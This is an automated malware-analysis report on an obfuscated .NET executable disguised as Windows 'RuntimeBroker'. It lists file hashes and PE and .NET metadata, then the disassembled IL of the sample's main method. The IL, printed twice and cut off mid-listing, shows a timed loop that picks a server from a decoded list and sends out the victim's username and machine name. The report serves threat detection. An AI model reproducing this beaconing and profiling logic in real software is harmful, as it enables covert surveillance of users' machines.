Suspicious
Suspect

0322baf8c0e2e6567934f5d94bde7e84

Share on LinkedIn
Print
PE Executable
MD5: 0322baf8c0e2e6567934f5d94bde7e84
Size: 571.98 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 0322baf8c0e2e6567934f5d94bde7e84
Sha1 c25932c7836bc7f749879efe68153c7d8084b852
Sha256 fbe1a132a4dda975e349ba6c6d29e79bf247f0f18a1aeec6d80ce16e7e92ccbb
Sha384 86d49ebaccceb37b72a70767b3837410337e4bdfa19a3ae28e7578de6a0c70f48018019ff54cee943aadeaa6f63bed92
Sha512 1d63b187a6871a6ae27dffaf37fa62b4a487b016097a3819a23bdbf2d944aace2b068a366d795ef97b8e0110ab859f70d683a2f6016bf5dc46cdbb6009da09b4
SSDeep 6144:lJCVxPDfssFMU23mGk6F0Ew+NtTkyxRFVgylVza9GvPswRXNpBdYu7zbfv/Rd7LA:ls9fssq3mSO6tbYITRXNJ/v7LcmsqA
TLSH 67C439247F948608E590197E459E1A11C7AA91F226327303371AFF611D8ADDEDF2C3EB
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
0322baf8c0e2e6567934f5d94bde7e84
[Authenticode]_bbdf221a.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
3eyjukhg9rxhup1wjpmudc9
uqvw47e0oaf57pcxnmrruygknyxr29b
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
Authenticode present at 0x89600 size 9288 bytes
Module Name
RuntimeBroker
Full Name
RuntimeBroker
EntryPoint 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Scope Name
RuntimeBroker
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
RuntimeBroker
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
628
Main Method 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::xmmuNrWGHaEfx()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::sPpsuevOwgPgRyWRR()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::aMWWrtCFGB()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::GesmpetUiKwPiqFegZYkqICE()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dCrkPOcgEcVe()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.UmpFeCQAQCMZGLjjxIJ::hDnlybvGRhlcTLqrWIaiQTH()
nop <null>
ldsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9
ldftn System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::YAtfOOOqnvKwYRMDGHegVpxB
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::bNinvFHfeLUnPaXdKm()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.jNGYzqQoXapvUJNNlXOKfMIa::JDbhMEbqHdkQ()
nop <null>
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
call System.Boolean lhlYNYYhUfmabuMhXCbp.djRFYGGSNccVYIjFu::PctdYnGjbixAU(System.String)
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AVXwqpYtSpBWtcTcwirew()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
leave IL_03BA: ret
call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::mKkBRmgTWwxtNIvW()
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
brtrue IL_0116: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::glOVfiRGxcnBoJVYsUYVQA()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::jvNnMLGmRAwNlMMwkxIjtj
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::miUKqbLsZisoKGYqWGbXgh()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::iidKMXRNNcT()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::pXJiuEIeZvIvAVjoUNoJE()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mcMRzUIVeLqWiSNXgS()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DgnZhJqnctzoKfNlh()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_3
ldsfld System.Random yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::vheDJQoQLkcaqnmTkK
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cFnWEQxEdnRawgVl()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::vzDfIJgfce()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::frUhgCENkgbWbdfCW()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wTSZeRldqU()
ceq <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::HqclaYmSjuucHBUUcbBdGKdf()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EGMCwCMjSdpzl()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_5
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EsjnHCrLXK()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JBoqpwNwZVSZQnshspYeUqaxk()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::ffMklAnnWaCQbf()
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldloc V_6
ldloc V_7
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::foOtjFisqcwdHQFa(System.String,System.String)
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::WWdUtiBFmAXtcgcC()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::fmSTzPUyVzgdS()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UFkuRdwDhJZxLkT()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::rGSZrTFcjXKArJzMsB()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::XeAVfTQYcb()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VUdhJQyUWilkFFGLSH
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::bCvPlsZSQyBeJg
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::evLSCWHIVXiVcUZ()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mKGkjGCCuJzXKzIHeLnf()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::raYajPZFUqTRKzCaVFNIDwXA()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::oPDkKjEACifSdMClRhY()
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::KtxPECfuys()
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::IXtXjxWPbqQhtAyuDAZWxBs()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::iQZPIvYtqCvzNSOIN
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UEhmFVNdOmXQWfAMNp()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::zKlABMQJbrfhLvt
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::LSyZcNIiRIBvGeTDe()
call System.String System.Environment::get_UserName()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JQkAoLRqhEcJjqhmfyMDNqWdt()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::jJFdmSGdhXXzMJ()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::XNHNBABIMEbYLQixOhoQ
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cgIVfFZxmwUM()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IRbKlWgNiGssdSgTWMqJAEG
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::RlCcWwdgThffSzfkLSwsmdy()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IhJVtvnsYrOwfDQdUveyifhx
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::hyKKMThRGOMvV()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::vMpEaIOczLUPCTu
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::dPfcJydqNFtMbdYUFnnrvXmT()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dsUyGrDKfC
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AANZEnkPQphMKUzh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::qveDCLBRHcite
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::lERzrDtlJYIdzFdMIIyPRJS()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::pZYmRmdCQZDCqEk
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKorHuSoKElh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::GCmtznRjwfdjcgREREacuIAMh
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UIwTnuObmR()
call System.String yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::IXalDDKpPfHIgstEVDlypQ()
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKnABvdODhKtFnHs()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
Module Name
RuntimeBroker
Full Name
RuntimeBroker
EntryPoint 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Scope Name
RuntimeBroker
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
RuntimeBroker
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
628
Main Method 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::xmmuNrWGHaEfx()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::sPpsuevOwgPgRyWRR()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::aMWWrtCFGB()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::GesmpetUiKwPiqFegZYkqICE()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dCrkPOcgEcVe()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.UmpFeCQAQCMZGLjjxIJ::hDnlybvGRhlcTLqrWIaiQTH()
nop <null>
ldsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9
ldftn System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::YAtfOOOqnvKwYRMDGHegVpxB
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::bNinvFHfeLUnPaXdKm()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.jNGYzqQoXapvUJNNlXOKfMIa::JDbhMEbqHdkQ()
nop <null>
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
call System.Boolean lhlYNYYhUfmabuMhXCbp.djRFYGGSNccVYIjFu::PctdYnGjbixAU(System.String)
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AVXwqpYtSpBWtcTcwirew()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
leave IL_03BA: ret
call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::mKkBRmgTWwxtNIvW()
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
brtrue IL_0116: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::glOVfiRGxcnBoJVYsUYVQA()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::jvNnMLGmRAwNlMMwkxIjtj
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::miUKqbLsZisoKGYqWGbXgh()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::iidKMXRNNcT()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::pXJiuEIeZvIvAVjoUNoJE()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mcMRzUIVeLqWiSNXgS()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DgnZhJqnctzoKfNlh()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_3
ldsfld System.Random yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::vheDJQoQLkcaqnmTkK
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cFnWEQxEdnRawgVl()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::vzDfIJgfce()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::frUhgCENkgbWbdfCW()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wTSZeRldqU()
ceq <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::HqclaYmSjuucHBUUcbBdGKdf()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EGMCwCMjSdpzl()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_5
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EsjnHCrLXK()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
